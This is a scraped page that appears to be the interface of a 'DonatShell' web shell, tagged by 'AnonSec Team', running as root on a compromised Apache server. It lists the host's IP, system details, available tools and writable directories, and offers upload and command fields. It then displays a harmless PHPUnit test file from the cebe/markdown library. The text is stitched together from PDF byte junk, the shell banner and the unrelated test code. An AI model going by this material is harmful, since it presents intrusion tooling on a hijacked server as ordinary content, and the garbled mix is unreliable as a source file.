%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/egp/vendor/cebe/markdown/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/egp/vendor/cebe/markdown/tests/ParserTest.php
<?php
/**
 * @copyright Copyright (c) 2014 Carsten Brandt
 * @license https://github.com/cebe/markdown/blob/master/LICENSE
 * @link https://github.com/cebe/markdown#readme
 */

namespace cebe\markdown\tests;

use cebe\markdown\Parser;

/**
 * Test case for the parser base class.
 *
 * @author Carsten Brandt <mail@cebe.cc>
 * @group default
 */
class ParserTest extends  \PHPUnit_Framework_TestCase
{
	public function testMarkerOrder()
	{
		$parser = new TestParser();
		$parser->markers = [
			'[' => 'parseMarkerA',
			'[[' => 'parseMarkerB',
		];

		$this->assertEquals("<p>Result is A</p>\n", $parser->parse('Result is [abc]'));
		$this->assertEquals("<p>Result is B</p>\n", $parser->parse('Result is [[abc]]'));
		$this->assertEquals('Result is A', $parser->parseParagraph('Result is [abc]'));
		$this->assertEquals('Result is B', $parser->parseParagraph('Result is [[abc]]'));

		$parser = new TestParser();
		$parser->markers = [
			'[[' => 'parseMarkerB',
			'[' => 'parseMarkerA',
		];

		$this->assertEquals("<p>Result is A</p>\n", $parser->parse('Result is [abc]'));
		$this->assertEquals("<p>Result is B</p>\n", $parser->parse('Result is [[abc]]'));
		$this->assertEquals('Result is A', $parser->parseParagraph('Result is [abc]'));
		$this->assertEquals('Result is B', $parser->parseParagraph('Result is [[abc]]'));
	}

	public function testMaxNestingLevel()
	{
		$parser = new TestParser();
		$parser->markers = [
			'[' => 'parseMarkerC',
		];

		$parser->maximumNestingLevel = 3;
		$this->assertEquals("(C-a(C-b(C-c)))", $parser->parseParagraph('[a[b[c]]]'));
		$parser->maximumNestingLevel = 2;
		$this->assertEquals("(C-a(C-b[c]))", $parser->parseParagraph('[a[b[c]]]'));
		$parser->maximumNestingLevel = 1;
		$this->assertEquals("(C-a[b[c]])", $parser->parseParagraph('[a[b[c]]]'));
	}

	public function testKeepZeroAlive()
	{
		$parser = new TestParser();

		$this->assertEquals("0", $parser->parseParagraph("0"));
		$this->assertEquals("<p>0</p>\n", $parser->parse("0"));
	}
}

class TestParser extends Parser
{
	public $markers = [];

	protected function inlineMarkers()
	{
		return $this->markers;
	}

	protected function parseMarkerA($text)
	{
		return [['text', 'A'], strrpos($text, ']') + 1];
	}

	protected function parseMarkerB($text)
	{
		return [['text', 'B'], strrpos($text, ']') + 1];
	}

	protected function parseMarkerC($text)
	{
		$terminatingMarkerPos = strrpos($text, ']');
		$inside = $this->parseInline(substr($text, 1, $terminatingMarkerPos - 1));
		return [['text', '(C-' . $this->renderAbsy($inside) . ')'], $terminatingMarkerPos + 1];
	}
}

Anon7 - 2022
AnonSec Team